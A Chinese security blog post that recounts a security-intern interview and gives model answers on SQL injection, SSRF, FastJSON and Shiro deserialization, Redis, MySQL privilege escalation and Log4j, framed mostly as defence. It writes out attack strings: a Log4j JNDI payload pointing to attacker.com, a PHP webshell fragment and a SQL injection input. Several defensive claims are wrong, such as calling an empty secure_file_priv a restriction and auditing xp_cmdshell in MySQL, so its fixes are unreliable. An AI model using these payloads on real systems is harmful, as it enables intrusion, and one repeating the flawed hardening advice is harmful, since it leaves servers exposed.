网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
字某某动-安全研究实习生(二面)
1. 护网行动中的核心工作
2. 防护层级选择(WAF/IDS)
3. 误报治理方案
4. 内网误报分布场景
5. MySQL执行PowerShell防护
6. 资产收集经验
7. 漏洞攻击案例
8. SQL注入攻防详解
原理
防御方案
Order By防御
特殊字符处理
9. 宽字节注入原理
10. SSRF漏洞修复(Docker环境)
11. 反序列化漏洞解析
FastJSON
Shiro
12. 中间件与数据库漏洞
Redis未授权访问
MySQL提权
13. Log4j与JNDI攻击链
Log4j RCE原理
JNDI流程
字某某动-安全研究实习生(二面)
护网中做了什么做哪一层处理,waf?ids?怎么解决误报过多的情况,有做过什么规则能解决这个情况的内网误报存在于办公网还是生产网比如mysql也会执行powershell,怎么做防护(前面说了内网误报是因为有人写了ps脚本触发的)在做攻防的时候,资产收集这块有没有什么经验介绍的一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名资产收集的 经验除了信息收集,有没有什么漏洞方面的攻击案例sql注入的原理如何防御sql注入遇到order by如何防御遇到转义字符防御时,如果遇到数据库的列名或是表面本身就带有特殊字符时,应该怎么做宽字节注入的原理ssrf原理ssrf漏洞如何修复基于黑白名单的修复,现在的生产基本上都是用的docker ,ip是随时会变得,而且docker重启后可能什么都不一样了,怎么做一个修复fastjson反序列化原理redis漏洞mysql提权shiro 反序列化原理log4j漏洞原理jndi的解析流程和原理
1. 护网行动中的核心工作
- 监测与响应
- 部署SIEM系统实时分析流量,结合EDR端点行为日志,对APT攻击链(如Cobalt Strike)进行深度追踪。
- 建立威胁情报联动机制,对接微步、VirusTotal等平台,快速拦截恶意IP和域名。
- 资产暴露面收敛
- 通过Shodan、FOFA等工具扫描暴露在公网的资产(如Redis、Kafka),关闭非必要端口。
- 对云上对象存储(如AWS S3、OSS)设置最小化访问策略,防止数据泄露。
- 红蓝对抗演练
- 模拟钓鱼邮件(如伪造OA登录页面)、横向渗透(利用MS17-010漏洞)等攻击手法,验证防御体系有效性。
2. 防护层级选择(WAF/IDS)
- WAF(Web应用层)
- 防御SQL注入、XSS等OWASP Top 10漏洞,基于正则规则拦截
union select
等特征。- 动态脚本防护:拦截WebShell上传行为(如
eval($_POST[cmd])
)。- IDS/IPS(网络层)
- 检测内网横向移动:如SMB协议中的PsExec命令、Mimikatz特征流量。
- 协议异常识别:如DNS隧道(长域名+Base64编码)、ICMP隐蔽通道。
- 混合部署策略
- 边界部署云WAF(如阿里云盾),内网基于Suricata实现流量镜像分析。
3. 误报治理方案
- 规则优化
- 白名单机制:对内部管理系统IP(如Jenkins、Zabbix)放行特定请求。
- 误报样本训练:收集误报日志,使用机器学习模型(如随机森林)优化规则权重。
- 上下文关联
- 结合用户身份(如VPN账号)与行为基线,区分正常运维操作与攻击。
- 示例:办公网允许PowerShell调用API,但生产网触发告警。
4. 内网误报分布场景
- 办公网误报
- 自动化脚本触发:如Ansible通过WinRM执行批量命令,被误判为恶意PowerShell。
- 解决方案:在EDR中添加脚本签名白名单。
- 生产网误报
- CI/CD流水线异常:如Docker构建过程中拉取镜像的HTTP请求含特殊字符(
${}
)。- 解决方案:在WAF中配置构建工具User-Agent放行规则。
5. MySQL执行PowerShell防护
- 权限最小化
- 禁止MySQL服务账号加入
Administrators
组,限制其仅拥有数据库操作权限。- 审计与拦截
- 启用MySQL审计插件,记录
xp_cmdshell
或sys_exec
等高危函数调用。- 在HIDS(如Osquery)中监控
powershell.exe
进程的父进程是否为mysqld.exe
。
6. 资产收集经验
- 一级域名收集方法
- 备案查询:通过工信部备案系统反查单位名称,获取所有关联域名。
- SSL证书关联:使用Censys搜索同一组织签名的证书(Subject-O字段)。
- ASN归属分析:通过IP段反向查询单位所属自治系统(ASN),提取注册域名。
- 隐蔽资产发现
- DNS历史记录:利用SecurityTrails查找已过期但未注销的域名解析记录。
- 子公司关联:通过企查查等工具获取控股公司名称,扩展搜索范围。
7. 漏洞攻击案例
- SSRF+Redis未授权访问
- 利用
gopher://
协议构造Payload,通过SSRF向Redis发送flushall
和set
命令,写入SSH公钥。- Shiro反序列化
- 硬编码AES密钥导致攻击者伪造RememberMe Cookie,触发
URLClassLoader
加载远程恶意类。- FastJSON JNDI注入
- 构造恶意JSON数据中的
@type
字段指向攻击者控制的LDAP服务,触发JdbcRowSetImpl
漏洞。
8. SQL注入攻防详解
原理
- 攻击者通过输入篡改SQL逻辑(如
' OR 1=1 --
),绕过认证或泄露数据。防御方案
- 预编译语句(PDO)
- 使用参数化查询确保输入数据仅作为字面值,而非SQL语法。
- 输入过滤
- 正则表达式拦截
'
、"
、--
等敏感字符(如/[^\w\s]/
)。- 权限控制
- 数据库账户仅授予最小权限(如禁用
FILE
、EXECUTE
)。Order By防御
- 将用户输入映射为固定字段名(如
1=>id, 2=>name
),避免直接拼接。特殊字符处理
- 对含特殊符号的列名使用反引号包裹(如
`user-name`
),并转义输入中的反引号。
9. 宽字节注入原理
- 成因:数据库使用GBK编码时,
%bf%5c
会被解析为汉字“縗”,导致单引号逃逸。- 修复:统一使用UTF-8编码,并在PHP中设置
mysql_set_charset('utf8')
。
10. SSRF漏洞修复(Docker环境)
- 服务发现机制
- 通过Consul或Kubernetes Service动态获取内网服务IP,替代硬编码IP黑白名单。
- 协议限制
- 禁用非常规协议(如
file://
、gopher://
),仅允许HTTP/HTTPS。- 代理隔离
- 强制所有出站流量经过代理网关,并在网关上实施请求目标校验。
11. 反序列化漏洞解析
FastJSON
- 原理:
autoType
功能未严格校验类名,攻击者指定com.sun.rowset.JdbcRowSetImpl
触发JNDI注入。- 修复:升级至1.2.83+版本并启用
safeMode
。Shiro
- 原理:硬编码AES密钥导致攻击者构造恶意序列化数据,触发
AbstractPreferences
类RCE。- 修复:随机生成新密钥并配置
securityManager.rememberMe.cipherKey
。
12. 中间件与数据库漏洞
Redis未授权访问
- 利用方式:通过
CONFIG SET dir
写入WebShell或SSH密钥。- 防御:启用
requirepass
密码认证,并限制CONFIG
命令权限。MySQL提权
- UDF提权:上传恶意SO/DLL文件,调用
sys_exec()
执行系统命令。- 防御:设置
secure_file_priv
为空,禁止非授权目录写入。
13. Log4j与JNDI攻击链
Log4j RCE原理
- 攻击者构造
${jndi:ldap://attacker.com/Exploit}
日志内容,触发Log4j解析JNDI地址。JNDI流程
- 受害机解析恶意LDAP地址,向攻击者服务器请求类文件。
- 攻击者返回包含静态代码块(
static { ... }
)的恶意类文件。- 类加载时自动执行静态代码块中的命令(如反弹Shell)。